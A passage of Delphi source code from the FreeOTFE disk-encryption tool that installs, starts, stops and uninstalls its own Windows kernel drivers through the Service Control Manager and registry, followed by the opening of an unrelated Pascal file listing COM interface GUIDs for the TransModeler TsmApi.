var driverNames: TStringList): Boolean;
const
// Arbitarily high number of services, but should be higher than the
// number which will ever be encountered
LARGE_NUMBER_OF_SERVICES = 100000;
type
TEnumServices = array[0..(LARGE_NUMBER_OF_SERVICES - 1)] of TEnumServiceStatus;
PEnumServices = ^TEnumServices;
var
bytesSupplied: DWORD;
bytesNeeded: DWORD;
cntServicesReturned: DWORD;
resumeHandle: DWORD;
serviceList: PEnumServices;
i: Integer;
currDriverName: String;
flagFreeOTFEDriver: Boolean;
begin
Result := True;
if (uSCManager <> 0) then begin
resumeHandle := 0;
serviceList := nil;
EnumServicesStatus(
uSCManager, // handle to service control manager database
SERVICE_DRIVER, // type of services to enumerate
serviceState, // state of services to enumerate
serviceList[0], // pointer to service status buffer
0, // size of service status buffer
bytesNeeded, // pointer to variable for bytes needed
cntServicesReturned, // pointer to variable for number returned
resumeHandle // pointer to variable for next entry
);
serviceList := AllocMem(bytesNeeded);
try
bytesSupplied := bytesNeeded;
resumeHandle := 0;
if EnumServicesStatus(uSCManager,
// handle to service control manager database
SERVICE_DRIVER, // type of services to enumerate
serviceState, // state of services to enumerate
serviceList[0], // pointer to service status buffer
bytesSupplied, // size of service status buffer
bytesNeeded, // pointer to variable for bytes needed
cntServicesReturned, // pointer to variable for number returned
resumeHandle // pointer to variable for next entry
) then begin
for i := 0 to (cntServicesReturned - 1) do begin
currDriverName := serviceList[i].lpServiceName;
// Check the registry if the driver has the FreeOTFE driver flag
if GetDriverRegBoolean(currDriverName, REG_FREEOTFE_DRIVER, flagFreeOTFEDriver) then
begin
if (flagFreeOTFEDriver) then begin
driverNames.Add(currDriverName);
end;
end; // if GetDriverRegBoolean(currDriverName, REG_FREEOTFE_DRIVER, flagFreeOTFEDriver) then
end; // for i:=0 to (cntServicesReturned-1) do
end; // if EnumServicesStatus(
finally
FreeMem(serviceList);
end;
end;
end;
// start - Set to TRUE to start the service, set to FALSE to stop it
function TDriverControl.StartStopService(service: String; start: Boolean): Boolean;
var
serviceHandle: SC_HANDLE;
serviceStatus: SERVICE_STATUS;
X: PChar; // No idea why this is needed though...
begin
Result := False;
X := nil;
if (uSCManager <> 0) then begin
serviceHandle := 0;
if (FreeOTFEOpenService(service, serviceHandle)) then begin
if start then begin
Result := StartService(serviceHandle, // handle of service
0, // number of arguments
X // address of array of argument string pointers
);
end else begin
Result := ControlService(serviceHandle, // handle to service
SERVICE_CONTROL_STOP, // control code
serviceStatus // pointer to service status structure
);
end;
FreeOTFECloseService(serviceHandle);
end;
end;
end;
function TDriverControl.DriverConfig(service: String;
var autoStart: Boolean; var fullDriverFilename: String): Boolean;
var
serviceHandle: SC_HANDLE;
serviceConfig: LPQUERY_SERVICE_CONFIGW;
bytesNeeded: DWORD;
bytesSupplied: DWORD;
begin
Result := False;
if FreeOTFEOpenService(service, serviceHandle) then begin
serviceConfig := nil;
// Note: We need to go through this weridness and can't use
// sizeof(TQueryServiceConfig), as QueryServiceConfig(...) writes the
// strings pointed to in the TQueryServiceConfig it's passed *after*
// the TQueryServiceConfig!!!
QueryServiceConfig(
serviceHandle, // handle of service
serviceConfig, // address of service config. structure
0, // size of service configuration buffer
bytesNeeded // address of variable for bytes needed
);
serviceConfig := AllocMem(bytesNeeded);
try
bytesSupplied := bytesNeeded;
if QueryServiceConfig(serviceHandle, // handle of service
serviceConfig, // address of service config. structure
bytesSupplied, // size of service configuration buffer
bytesNeeded // address of variable for bytes needed
) then begin
autoStart := (serviceConfig.dwStartType = SERVICE_SYSTEM_START);
fullDriverFilename := copy(serviceConfig.lpBinaryPathName, 0,
StrLen(serviceConfig.lpBinaryPathName));
// Remove any "\??\" prefix from filename
if (Pos('\??\', fullDriverFilename) <> 0) then begin
Delete(fullDriverFilename, 1, length('\??\'));
end;
Result := True;
end;
finally
FreeMem(serviceConfig);
end;
FreeOTFECloseService(serviceHandle);
end;
end;
// Sets "autoStart" to TRUE if the specified service starts up on system boot,
// FALSE if it starts up on demand
// Returns: TRUE/FALSE on success/failure
function TDriverControl.GetServiceAutoStart(service: String;
var autoStart: Boolean): Boolean;
var
junkFilename: String;
begin
Result := DriverConfig(service, autoStart, junkFilename);
end;
// autoStart - Set to TRUE to start the service on boot, set to FALSE for manual startup
// Returns: TRUE/FALSE on success/failure
function TDriverControl.SetServiceAutoStart(service: String;
autoStart: Boolean): Boolean;
var
startType: DWORD;
serviceHandle: SC_HANDLE;
lock: SC_LOCK;
begin
Result := False;
// Determine const to use...
startType := SERVICE_DEMAND_START;
if (autoStart) then begin
startType := SERVICE_SYSTEM_START;
end;
// Make the change...
if FreeOTFEOpenService(service, serviceHandle) then begin
lock := LockServiceDatabase(uSCManager
// handle of service control manager database
);
try
Result := ChangeServiceConfig(serviceHandle,
// handle to service
SERVICE_NO_CHANGE, // type of service
startType, // when to start service
SERVICE_NO_CHANGE, // severity if service fails to start
nil, // pointer to service binary file name
nil, // pointer to load ordering group name
nil, // pointer to variable to get tag identifier
nil, // pointer to array of dependency names
nil, // pointer to account name of service
nil, // pointer to password for service account
nil // pointer to display name
);
finally
if (lock <> nil) then begin
UnlockServiceDatabase(lock);
end;
end;
FreeOTFECloseService(serviceHandle);
end;
end;
// Returns: A bitmask, with the following flag bits set as appropriate:
// DRIVER_BIT_SUCCESS - Set on sucessful uninstall (Note: Other flag
// bits may well be set in this case)
// DRIVER_BIT_REBOOT_REQ - Reboot required for changes to take effect
// DRIVER_BIT_FILE_REMAINS - User should remove driver file from dir
function TDriverControl.UninstallDriver(service: String): DWORD;
var
serviceHandle: SC_HANDLE;
rebootReq: Boolean;
serviceState: DWORD;
portableMode: Boolean;
driverFilename: String;
junkAutoStart: Boolean;
begin
Result := 0;
rebootReq := False;
if FreeOTFEOpenService(service, serviceHandle) then begin
// If the service is running, stop it
if (GetServiceState(service, serviceState)) then begin
if (serviceState = SERVICE_RUNNING) then begin
StartStopService(service, False);
end;
end;
// If the service is still running, warn the user later...
if (GetServiceState(service, serviceState)) then begin
if (serviceState = SERVICE_RUNNING) then begin
rebootReq := True;
end;
end;
// Store whether the driver was installed in portable mode or not, BEFORE
// we remove it...
if not (IsDriverInstalledPortable(service, portableMode)) then begin
// Fallback to assuming it was fully installed...
portableMode := False;
end;
// Store the driver's filename, BEFORE we remove it...
// Attempt to identify the filename of the installed driver
if not (DriverConfig(service, junkAutoStart, driverFilename)) then begin
// Fallback to standard location
driverFilename := SDUGetSpecialFolderPath(CSIDL_SYSTEM) + '\' + service + '.sys';
end;
// Note: No need to inform user if unable to open - FreeOTFEOpenService(...)
// does this for us
if DeleteService(serviceHandle) then begin
// Ditch the service handle.
// Note: This *should* cause the service to be removed
FreeOTFECloseService(serviceHandle);
Result := Result or DRIVER_BIT_SUCCESS;
if rebootReq then begin
Result := Result or DRIVER_BIT_REBOOT_REQ;
end;
// Delete the associated driver file
if not (portableMode) then begin
if not (UninstallDriverFile(driverFilename)) then begin
Result := Result or DRIVER_BIT_FILE_REMAINS;
end;
end;
end;
end;
// Close and reopen the SC Manager handle to ensure that it notices any
// changes...
// xxx - IS THIS *REALLY* NEEDED???
SCManagerClose();
SCManagerOpen();
Result := Result;
end;
// Delete the associated driver file
function TDriverControl.UninstallDriverFile(driverFilename: String): Boolean;
var
changeFSRedirect: Boolean;
fsRedirectOldValue: pointer;
begin
changeFSRedirect := SDUWow64DisableWow64FsRedirection(fsRedirectOldValue);
try
Result := DeleteFile(driverFilename);
finally
if changeFSRedirect then begin
SDUWow64RevertWow64FsRedirection(fsRedirectOldValue);
end;
end;
end;
// Install, set to start automatically on reboot, and start the driver specified
// Returns TRUE if 100% OK, otherwise FALSE (e.g. installed, but couldn't
// start)
// Note: This function WILL DISPLAY MESSAGES to the user, as appropriate
function TDriverControl.InstallSetAutoStartAndStartDriver(
pathAndFilename: String): Boolean;
var
status: DWORD;
msgSpecific: String;
msgAlreadyInstalled: String;
msgCantCopyFile: String;
driverName: String;
startedOK: Boolean;
serviceState: DWORD;
msgReboot: String;
begin
Result := False;
msgSpecific := '';
status := InstallDriver(pathAndFilename, False, driverName);
if ((status and DRIVER_BIT_SUCCESS) = DRIVER_BIT_SUCCESS) then begin
// Installation SUCCESSFULL
if ((status and DRIVER_BIT_REBOOT_REQ) = DRIVER_BIT_REBOOT_REQ) then begin
msgSpecific := _('Please reboot your computer to allow changes to take effect.');
end else begin
// Set driver to autostart on reboot
SetServiceAutoStart(driverName, True);
// Start the driver *now*, if it hasn't already been started.
startedOK := False;
// (This check should be redundant - we've only just installed it!)
if GetServiceState(driverName, serviceState) then begin
startedOK := (serviceState = SERVICE_RUNNING);
end;
if not (startedOK) then begin
// Start the driver, if needed
startedOK := StartStopService(driverName, True);
end;
if startedOK then begin
Result := True;
msgSpecific := _('This driver has been installed, started, and is now available for use');
end else begin
msgSpecific :=
_('This driver has been installed but not started; you may need to reboot your PC for the installation to take effect');
end;
end;
_MsgDlg(
SDUParamSubstitute(_('Driver %1 installed'), [driverName]) + SDUCRLF +
SDUCRLF + msgSpecific,
mtInformation
);
end else begin
// Installation FAILED
msgReboot := '';
if ((status and DRIVER_BIT_REBOOT_REQ) = DRIVER_BIT_REBOOT_REQ) then begin
msgReboot :=
SDUCRLF + SDUCRLF +
// 2 x CRLF - one to end the last line, one for spacing
_('Please reboot your computer to allow changes to take effect.');
end;
msgAlreadyInstalled := '';
if ((status and DRIVER_BIT_ALREADY_INSTALLED) = DRIVER_BIT_ALREADY_INSTALLED) then begin
msgAlreadyInstalled :=
SDUCRLF + SDUCRLF +
// 2 x CRLF - one to end the last line, one for spacing
_('This driver appears to already be installed.') + SDUCRLF +
_('Please uninstall the existing driver before attempting to reinstall.');
end;
msgCantCopyFile := '';
if ((status and DRIVER_BIT_CANT_INSTALL_FILE) = DRIVER_BIT_CANT_INSTALL_FILE) then begin
msgCantCopyFile :=
SDUCRLF + SDUCRLF +
// 2 x CRLF - one to end the last line, one for spacing
_('Unable to copy driver file to windows driver directory');
end;
if not (silent) then begin
_MsgDlg(
_('Unable to install driver.') + msgAlreadyInstalled +
msgCantCopyFile + msgReboot,
mtError
);
end;
end;
end;
// Install a new FreeOTFE device driver
// driverName - If the driver is installed successfully, then driverName will
// be set to the name of the driver
// portableMode - Install in portable mode
// Returns: A bitmask, with the following flag bits set as appropriate:
// DRIVER_BIT_ALREADY_INSTALLED - Set if the driver appears to already
// be installed
// DRIVER_BIT_SUCCESS - Set on sucessful uninstall (Note: Other flag
// bits may well be set in this case)
// DRIVER_BIT_REBOOT_REQ - Reboot required for changes to take effect
// DRIVER_BIT_CANT_INSTALL_FILE - Set if the driver file couldn't be
// copied to the windows system32
// driver dir
function TDriverControl.InstallDriver(
filename: String;
portableMode: Boolean;
var driverName: String): DWORD;
var
newServiceHandle: SC_HANDLE;
installedFilename, finalFileName: String;
allOK: Boolean;
alreadyInstalled: Boolean;
begin
Result := 0;
allOK := True;
driverName := GetServiceNameForFilename(filename);
if IsDriverInstalled(driverName, alreadyInstalled) then begin
if (alreadyInstalled) then begin
Result := Result and DRIVER_BIT_ALREADY_INSTALLED;
allOK := False;
end;
end;
// convert mapped drives to unmapped here because admin cant access drives mapped by another user
finalFileName := SDUGetFinalPath(filename);
if (allOK) then begin
// Copy the new driver over to the <windows>\system32\drivers dir...
// DO NOT DO THIS IF THE DRIVER IS BEING INSTALLED IN PORTABLE MODE!!!
if not (portableMode) then begin
allOK := InstallDriverFile(finalFileName, installedFilename);
finalFileName := installedFilename;
if not (allOK) then begin
Result := Result or DRIVER_BIT_CANT_INSTALL_FILE;
end;
end;
end;
if (allOK) then begin
// Create the service...
newServiceHandle := CreateService(uSCManager,
// handle to service control manager database
PChar(driverName), // pointer to name of service to start
PChar(driverName), // pointer to display name
SERVICE_ALL_ACCESS, // type of access to service
SERVICE_KERNEL_DRIVER, // type of service
SERVICE_DEMAND_START, // when to start service
SERVICE_ERROR_NORMAL, // severity if service fails to start
PChar(finalFileName), // pointer to name of binary file
nil, // pointer to name of load ordering group
nil, // pointer to variable to get tag identifier
nil, // pointer to array of dependency names
nil, // pointer to account name of service
nil // pointer to password for service account
);
if (newServiceHandle <> 0) then begin
// We don't actually *need* the service handle CreateService returns;
// just close it.
FreeOTFECloseService(newServiceHandle);
// Flag in the registry that the driver is a FreeOTFE driver
SetDriverReg(driverName, REG_FREEOTFE_DRIVER, True);
// Flag in the registry if the driver was installed in portable mode
// or not
SetDriverReg(driverName, REG_PORTABLE_MODE, portableMode);
// Close and reopen the SC Manager handle to ensure that it notices any
// changes...
{ TODO -otdk -cinvestigate : IS THIS *REALLY* NEEDED }
SCManagerClose();
SCManagerOpen();
Result := Result or DRIVER_BIT_SUCCESS;
end else begin
MessageDlg(_('Service start failed: ') + SysErrorMessage(GetLastError), mtError, [mbOK], 0);
end;
end; // if allOK
end;
// Install a new FreeOTFE device driver
// ...Install the driver file in the <windows>\system32\drivers dir
// destFilename will be set to the full filename of the installed file
function TDriverControl.InstallDriverFile(driverFilename: String;
var destFilename: String): Boolean;
var
changeFSRedirect: Boolean;
fsRedirectOldValue: Pointer;
begin
destFilename := SDUGetSpecialFolderPath(CSIDL_SYSTEM) + '\' + ExtractFilename(driverFilename);
// destFilename := 'C:\Windows\sysnative\'+ExtractFilename(driverFilename);
if (driverFilename = destFilename) then begin
// Skip copying if file is already in position...
Result := True;
end else begin
changeFSRedirect := SDUWow64DisableWow64FsRedirection(fsRedirectOldValue);
try
Result := CopyFile(PChar(driverFilename),
// pointer to name of an existing file
PChar(destFilename), // pointer to filename to copy to
False // flag for operation if file exists
);
finally
if changeFSRedirect then begin
SDUWow64RevertWow64FsRedirection(fsRedirectOldValue);
end;
end;
end;
end;
// Open the Service Control Manager
function TDriverControl.SCManagerOpen(): Boolean;
var
allOK: Boolean;
begin
if (uSCManager <> 0) then begin
SCManagerClose();
end;
uSCManager := OpenSCManager(nil,
// pointer to machine name string
nil, // pointer to database name string
SC_MANAGER_ALL_ACCESS // type of access
);
allOK := (uSCManager <> 0);
Result := allOK;
end;
// Close the Service Control Manager
procedure TDriverControl.SCManagerClose();
begin
if (uSCManager <> 0) then begin
CloseServiceHandle(uSCManager);
uSCManager := 0; //tdk change
end;
end;
// Obtain a service handle to the named service
// Returns: TRUE/FALSE on success/failure. If TRUE, then serviceHandle will be
// set to a handle for the named service
function TDriverControl.FreeOTFEOpenService(
service: String;
var serviceHandle: SC_HANDLE): Boolean;
begin
Result := False;
if (uSCManager <> 0) then begin
serviceHandle := OpenService(uSCManager,
// handle to service control manager database
PChar(service), // pointer to name of service to start
SERVICE_ALL_ACCESS // type of access to service
);
if (serviceHandle <> 0) then begin
Result := True;
end else begin
_MsgDlg(SDUParamSubstitute(_('Unable to open service for driver "%1"'), [service]) + SDUCRLF +
SDUCRLF + TEXT_NEED_ADMIN,
mtError
);
end;
end;
{$IFDEF FREEOTFE_DEBUG}
showmessage('FreeOTFEOpenService: '+inttohex(serviceHandle, 8)+' ['+service+']');
{$ENDIF}
end;
// Closes serviceHandle previously returned from FreeOTFEOpenService(...)
procedure TDriverControl.FreeOTFECloseService(serviceHandle: SC_HANDLE);
begin
{$IFDEF FREEOTFE_DEBUG}
showmessage('FreeOTFECloseService: '+inttohex(serviceHandle, 8));
{$ENDIF}
CloseServiceHandle(serviceHandle);
end;
// !! WARNING !!
// IF THIS FUNCTION IS CHANGED, THEN ALL OTHER SetDriverReg(...) SHOULD
// PROBABLY ALSO BE CHANGED TO MATCH
function TDriverControl.SetDriverReg(service: String; Name: String;
Value: String): Boolean;
var
regObj: TRegistry;
begin
Result := False;
regObj := TRegistry.Create();
try
regObj.RootKey := HKEY_LOCAL_MACHINE;
regObj.LazyWrite := False;
regObj.Access := KEY_ALL_ACCESS;
if regObj.OpenKey(REGKEY_BASE + '\' + service, False) then begin
try
RegObj.WriteString(Name, Value);
Result := True;
except
// Do nothing; Result already defaults to FALSE
end;
RegObj.CloseKey();
end; // if regObj.OpenKey(REGKEY_BASE+'\'+service, FALSE) then
finally
regObj.Free();
end;
end;
// !! WARNING !!
// IF THIS FUNCTION IS CHANGED, THEN ALL OTHER SetDriverReg(...) SHOULD
// PROBABLY ALSO BE CHANGED TO MATCH
function TDriverControl.SetDriverReg(service: String; Name: String;
Value: Boolean): Boolean;
var
regObj: TRegistry;
begin
Result := False;
regObj := TRegistry.Create();
try
regObj.RootKey := HKEY_LOCAL_MACHINE;
regObj.LazyWrite := False;
regObj.Access := KEY_ALL_ACCESS;
if regObj.OpenKey(REGKEY_BASE + '\' + service, False) then begin
try
RegObj.WriteBool(Name, Value);
Result := True;
except
// Do nothing; Result already defaults to FALSE
end;
RegObj.CloseKey();
end; // if regObj.OpenKey(REGKEY_BASE+'\'+service, FALSE) then
finally
regObj.Free();
end;
end;
{
Commented out; not used atm
// !! WARNING !!
// IF THIS FUNCTION IS CHANGED, THEN ALL OTHER GetDriverRegXXX(...) SHOULD
// PROBABLY ALSO BE CHANGED TO MATCH
function TDriverControl.GetDriverRegString(service: string; name: string; var value: string): boolean;
var
regObj: TRegistry;
begin
Result := FALSE;
regObj := TRegistry.Create();
try
regObj.RootKey := HKEY_LOCAL_MACHINE;
regObj.Access := KEY_READ;
if regObj.OpenKeyReadOnly(REGKEY_BASE+'\'+service) then
begin
try
if (RegObj.ValueExists(name)) then
begin
value := RegObj.ReadString(name);
Result := TRUE;
end;
except
// Do nothing; Result already defaults to FALSE
end;
RegObj.CloseKey();
end; // if regObj.OpenKey(REGKEY_BASE+'\'+service, FALSE) then
finally
regObj.Free();
end;
end;
}
// !! WARNING !!
// IF THIS FUNCTION IS CHANGED, THEN ALL OTHER GetDriverRegXXX(...) SHOULD
// PROBABLY ALSO BE CHANGED TO MATCH
function TDriverControl.GetDriverRegBoolean(service: String;
Name: String; var Value: Boolean): Boolean;
var
regObj: TRegistry;
begin
Result := False;
regObj := TRegistry.Create();
try
regObj.RootKey := HKEY_LOCAL_MACHINE;
regObj.Access := KEY_READ;
if regObj.OpenKeyReadOnly(REGKEY_BASE + '\' + service) then begin
try
if (RegObj.ValueExists(Name)) then begin
Value := RegObj.ReadBool(Name);
Result := True;
end;
except
// Do nothing; Result already defaults to FALSE
end;
RegObj.CloseKey();
end; // if regObj.OpenKey(REGKEY_BASE+'\'+service, FALSE) then
finally
regObj.Free();
end;
end;
function TDriverControl.IsDriverInstalled(service: String;
var installed: Boolean): Boolean;
var
driverList: TStringList;
allOK: Boolean;
begin
driverList := TStringList.Create();
try
allOK := GetFreeOTFEDrivers(driverList);
if (allOK) then begin
installed := (driverList.IndexOf(service) >= 0);
end;
finally
driverList.Free();
end;
Result := allOK;
end;
function TDriverControl.IsDriverInstalledPortable(service: String;
var portableMode: Boolean): Boolean;
begin
Result := GetDriverRegBoolean(service, REG_PORTABLE_MODE, portableMode);
end;
// Get the service name for the specified driver filename, if it exists as a
// service
// Can be supplied with a full path+filename, or just a filename
// Returns "" on failure/if no service with the filename exists
function TDriverControl.GetServiceNameForFilename(filename: String): String;
var
driverName: String;
filenameExt: String;
begin
// Strip off the filename extension, and the file path to generate the
// drivername
driverName := filename;
filenameExt := ExtractFileExt(driverName);
// "+1" here because it's indexed from one
Delete(
driverName,
(length(filename) - length(filenameExt) + 1),
length(filenameExt)
);
driverName := ExtractFileName(driverName);
Result := driverName;
end;
function TDriverControl._MsgDlg(Content: String; DlgType: TMsgDlgType): Integer;
begin
Result := 0;
if not (Silent) then begin
Result := SDUMessageDlg(Content, DlgType, [mbOK], 0);
end;
end;
// Return total count of drivers installed
// Returns -1 on error, or the count
function TDriverControl.CountDrivers(): Integer;
var
driverNames: TStringList;
begin
Result := -1;
driverNames := TStringList.Create();
try
if GetFreeOTFEDrivers(driverNames) then begin
Result := driverNames.Count;
end;
finally
driverNames.Free();
end;
end;
// Return total count of drivers in portable/non portable mode
function TDriverControl.CountDrivers(portableMode: Boolean): Integer;
var
driverNames: TStringList;
testPortable: Boolean;
i: Integer;
begin
Result := -1;
driverNames := TStringList.Create();
try
if GetFreeOTFEDrivers(driverNames) then begin
Result := 0;
for i := 0 to (driverNames.Count - 1) do begin
if IsDriverInstalledPortable(driverNames[i], testPortable) then begin
if (testPortable = portableMode) then begin
Inc(Result);
end;
end;
end;
end;
finally
driverNames.Free();
end;
end;
function TDriverControl.InstallMultipleDrivers(
driverFilenames: TStringList;
portableMode: Boolean;
showProgress: Boolean;
startAfterInstall: Boolean): Boolean;
var
i: Integer;
status: DWORD;
installedOK: Boolean;
startedOK: Boolean;
currDriverName: String;
progressDlg: TSDUProgressDialog;
serviceState: DWORD;
prevCursor: TCursor;
alreadyInstalled: Boolean;
begin
Result := True;
progressDlg := nil;
prevCursor := Screen.Cursor;
if showProgress then begin
progressDlg := TSDUProgressDialog.Create(nil);
end;
try
if (progressDlg <> nil) then begin
progressDlg.Min := 0;
// Yes, this is correct; it's driverFilenames.count and *not*
// (driverFilenames.count - 1)
progressDlg.Max := driverFilenames.Count;
progressDlg.Position := 0;
if portableMode then begin
progressDlg.Title := _('Starting drivers in portable mode...');
end else begin
progressDlg.Title := _('Installing drivers...');
end;
progressDlg.ShowStatusText := True;
progressDlg.Show();
Screen.Cursor := crAppStart;
Application.ProcessMessages();
end;
for i := 0 to (driverFilenames.Count - 1) do begin
if (progressDlg <> nil) then begin
if portableMode then begin
progressDlg.StatusText := _('Starting: ');
end else begin
progressDlg.StatusText := _('Installing: ');
end;
progressDlg.StatusText := progressDlg.StatusText +
ExtractFilename(driverFilenames[i]) +
'...';
Application.ProcessMessages();
end;
// If a driver which uses the same filename (without the path) is
// already installed, skip installation - we use the existing one
currDriverName := GetServiceNameForFilename(driverFilenames[i]);
if not (IsDriverInstalled(currDriverName,
alreadyInstalled)) then begin
// Sanity... Force FALSE if we couldn't determine if it was installed
// or not
alreadyInstalled := False;
end;
if alreadyInstalled then begin
installedOK := True;
end else begin
status := InstallDriver(driverFilenames[i],
portableMode,
currDriverName);
installedOK := ((status and DRIVER_BIT_SUCCESS) = DRIVER_BIT_SUCCESS);
end;
// Start the driver, if it hasn't already been started.
startedOK := False;
if installedOK then begin
if not (startAfterInstall) then begin
// Set flag anyway so that Result is set correctly later
startedOK := True;
end else begin
if GetServiceState(currDriverName,
serviceState) then begin
startedOK := (serviceState = SERVICE_RUNNING);
end;
if not (startedOK) then begin
// Start the driver, if needed
startedOK := StartStopService(
currDriverName,
True);
end;
end;
if ((startedOK or not
(startAfterInstall) // i.e. We didn't try to start after install
) and not (alreadyInstalled) // Don't touch if already installed
) then begin
// Set driver to autostart on reboot - but not if portable mode;
// the driver may be located on a removable device
SetServiceAutoStart(currDriverName, not portableMode);
end;
end;
Result := (Result and startedOK);
if (progressDlg <> nil) then begin
progressDlg.IncPosition();
Application.ProcessMessages();
if progressDlg.Cancel then begin
break;
end;
end;
end;
finally
if showProgress then begin
if (progressDlg <> nil) then begin
progressDlg.Free();
Screen.Cursor := prevCursor;
end;
end;
end;
end;
function TDriverControl.UninstallAllDrivers(portableModeOnly: Boolean): Boolean;
var
DriverControlObj: TDriverControl;
allDrivers: TStringList;
wasInstalledPortable: Boolean;
i: Integer;
status: DWORD;
allOK: Boolean;
begin
Result := True;
DriverControlObj := TDriverControl.Create();
try
allDrivers := TStringList.Create();
try
if DriverControlObj.GetFreeOTFEDrivers(allDrivers) then begin
for i := 0 to (allDrivers.Count - 1) do begin
// If the driver was installed in portable mode, stop and uninstall it
// Determine if driver was installed in portable mode
if DriverControlObj.IsDriverInstalledPortable(allDrivers[i], wasInstalledPortable) then
begin
if (not (portableModeOnly) or // i.e. All drivers
wasInstalledPortable // i.e. only if in portable mode
) then begin
// Stop the driver
DriverControlObj.StartStopService(allDrivers[i], False);
// Uninstall the driver
status := DriverControlObj.UninstallDriver(allDrivers[i]);
allOK := ((status and DRIVER_BIT_SUCCESS) = DRIVER_BIT_SUCCESS);
Result := (Result and allOK);
end;
end;
// if DriverControlObj.IsDriverInstalledPortable(allDrivers[i], wasInstalledPortable) then
end; // for i:=0 to (allDrivers.count-1) do
end; // if DriverControlObj.GetFreeOTFEDrivers(allDrivers) then
finally
allDrivers.Free();
end;
finally
DriverControlObj.Free();
end;
end;
end.
|
{/*!
Provides COM interface of TransModeler's TsmApi.
\modified 2019-07-01 16:00pm
\author Wuping Xin
*/}
namespace TsmPluginFx.Core;
uses
rtl;
const
TsmApiMajorVersion = 1;
TsmApiMinorVersion = 0;
const
LIBID_TsmApi : String = '{1DA9E83D-B7FF-49D2-B3FC-49AE2CEE10F7}';
IID__ISimulationEvents : String = '{9B3B22CA-9E51-4124-9B05-21A1FE538E32}';
IID__ISensorEvents : String = '{5683D24E-0FB1-480D-A153-E78C91BC8047}';
IID__ISignalEvents : String = '{5683D24E-0FB1-480D-A154-E78C91BC8047}';
IID__IVehicleEvents : String = '{266A8735-597B-45BD-90CB-80796741BD64}';
IID_ITsmVehicle : String = '{DF992021-08C4-45C9-B1CC-34E2F22D71EE}';
IID_ITsmObject : String = '{0D99A556-F2CE-47BB-B292-D72C4EE3AE0D}';
IID_ITsmLink : String = '{BD329B79-5C12-4477-A453-90B838EF36F2}';
IID_ITsmCollection : String = '{C9949A42-BC30-4713-B072-8596AE67DF10}';
IID_ITsmSegments : String = '{758CEC73-08EB-4907-B941-F115EF3F93AB}';
IID_ITsmSegment : String = '{51F0EA1F-7645-470D-AA1B-B442FAE9FD8E}';
IID_ITsmLanes : String = '{BAC1C49F-0218-48A3-9BCC-026E2F20A67B}';
IID_ITsmLane : String = '{81AF5B60-3800-4290-B51C-BE15FB2515E1}';
IID_ITsmConnector : String = '{D3A0E4C9-5D65-404D-B7C2-0B25D48B08E3}';
IID_ITsmConnectors : String = '{C4A1CECC-E566-482B-B427-A114A4FA69BD}';
IID_ITsmSensorStations : String = '{A7602159-378B-46DD-920F-189048B45AC5}';
IID_ITsmSensorStation : String = '{92FFCB56-F9F4-4DC3-B0EF-64A109278820}';
IID_ITsmSensors : String = '{75E00364-FD5A-4633-A6CF-AB18E5061867}';
IID_ITsmSensor : String = '{64BACF71-2686-404F-B379-F4CA81F270B7}';
IID_ITsmVehicles : String = '{62525380-FD3B-4E39-BA2E-334CD9828194}';
IID_ITsmNode : String = '{F4AA34C9-0DA6-47DD-9E9F-C1BA14F30C59}';
IID_ITsmSignals : String = '{F87CE8DD-D4A5-447D-A827-80255E8D70F8}';
IID_ITsmSignal : String = '{A5345C5C-9C50-4A28-BC55-0A3001E6789D}';
IID_ITsmAttributes : String = '{4D6F5D2F-4E79-4151-BCB9-8E67A0EB4DA6}';
IID_ITsmPath : String = '{63F34616-46C8-4BD9-A54B-363ECE4339DC}';
IID_ITsmRoute : String = '{41931BF9-CF69-40DB-A57B-BA9BA9A0322D}';
IID_ITsmStops : String = '{086DC5FC-3734-438E-9D57-557C4D598324}';
IID_ITsmStop : String = '{342A66DE-B022-47C7-96C5-3B65039C350E}';
IID_ITsmApplication : String = '{758966B7-BDFD-4D3D-AA50-18DF799BB435}';
IID_ITsmNetwork : String = '{D57DE796-602F-4EB9-B441-7ECB00FC42A2}';
IID_ITsmNodes : String = '{ECA7B86F-60D4-4FBC-ACB7-AE87A0FD7887}';
IID_ITsmLinks : String = '{7CFD586F-6BB3-4E5C-8CD9-4CF6C10E1570}';
IID_ITsmTrafficManager : String = '{8276A6F2-F679-49B5-8356-E904E89D4073}';
IID_ITsmController : String = '{BE421016-C4CA-42CD-AA0D-1499D10BF9C5}';
IID_ITsmPhases : String = '{488A51F1-9401-464C-B6B1-8AA4A8256421}';
IID_ITsmPhase : String = '{F078F3F1-6476-445A-9796-D535D0F3DCDC}';
IID_ITsmStages : String = '{9C0EE7A4-B717-4335-B2E2-B610369F7800}';
IID_ITsmStage : String = '{5FAC1421-56A5-4C64-BABB-B4BA2668FB80}';
IID_ITsmControllers : String = '{41DFF515-50A5-4BF0-A160-255C440844B1}';
IID_ITsmHotEntrance : String = '{5FAC1421-56A5-4C64-BABB-B4BA2668FBA1}';
IID_ITsmHotSection : String = '{5FAC1421-56A5-4C64-BABB-B4BA2668FBA3}';
IID_ITsmHotSections : String = '{9C0EE7A4-B717-4335-B2E2-B610369F78A4}';
IID_ITsmHotEntrances : String = '{9C0EE7A4-B717-4335-B2E2-B610369F78A1}';
IID_ITsmTollPlaza : String = '{AA1AAFEA-E59E-4A16-98DE-A17A5798BD8C}';
IID_ITsmTollBooth : String = '{E1295D31-13CE-4323-8A8F-28C3BEE9873D}';
IID_ITsmTollBooths : String = '{E7604F19-753A-4279-ABB6-607871CE5968}';
IID_ITsmToll : String = '{1C75CA53-88EE-4BC0-B483-8F3654086875}';
IID_ITsmTolls : String = '{D8480532-4B3C-4AF9-BAE3-2B2EAD6DF137}';
IID_ITsmTollPlazas : String = '{472AEC28-7441-4307-97A8-E6FD02355188}';
IID_ITsmRouter : String = '{2711725D-AF41-4B3B-A23C-C00501CB24E2}';
IID_ITsmTransit : String = '{D490F99E-1B3C-4E90-90B7-EE5C9A423DA5}';
IID_ITsmService : String = '{37B54C69-1721-44E5-BF7A-D10D42551F5E}';
CLASS_TsmApplication : String = '{AA2FE82A-2676-4189-9E91-7D8CEC676E20}';
CLASS_TsmService : String = '{E97A4B4F-EBD4-4BE5-800B-4AA1BB31ABAE}';
CLASS_TsmAttributes : String = '{2761967A-735B-4FAA-9554-04A8E75D5726}';
CLASS_TsmNetwork : String = '{0F81F1E0-AD1C-4A6B-B11F-967AE7FE0DC3}';
CLASS_TsmNode : String = '{AC87F2AB-AACD-4800-813E-BC7AE233FDD9}';
CLASS_TsmNodes : String = '{2436498F-08B6-4F53-B4F4-99469220BFB0}';
CLASS_TsmLink : String = '{B1AA9487-5F56-49C0-860F-CD05CDAEC780}';
CLASS_TsmLinks : String = '{C49FF85F-CECC-474B-BCA5-7B636ACC9683}';
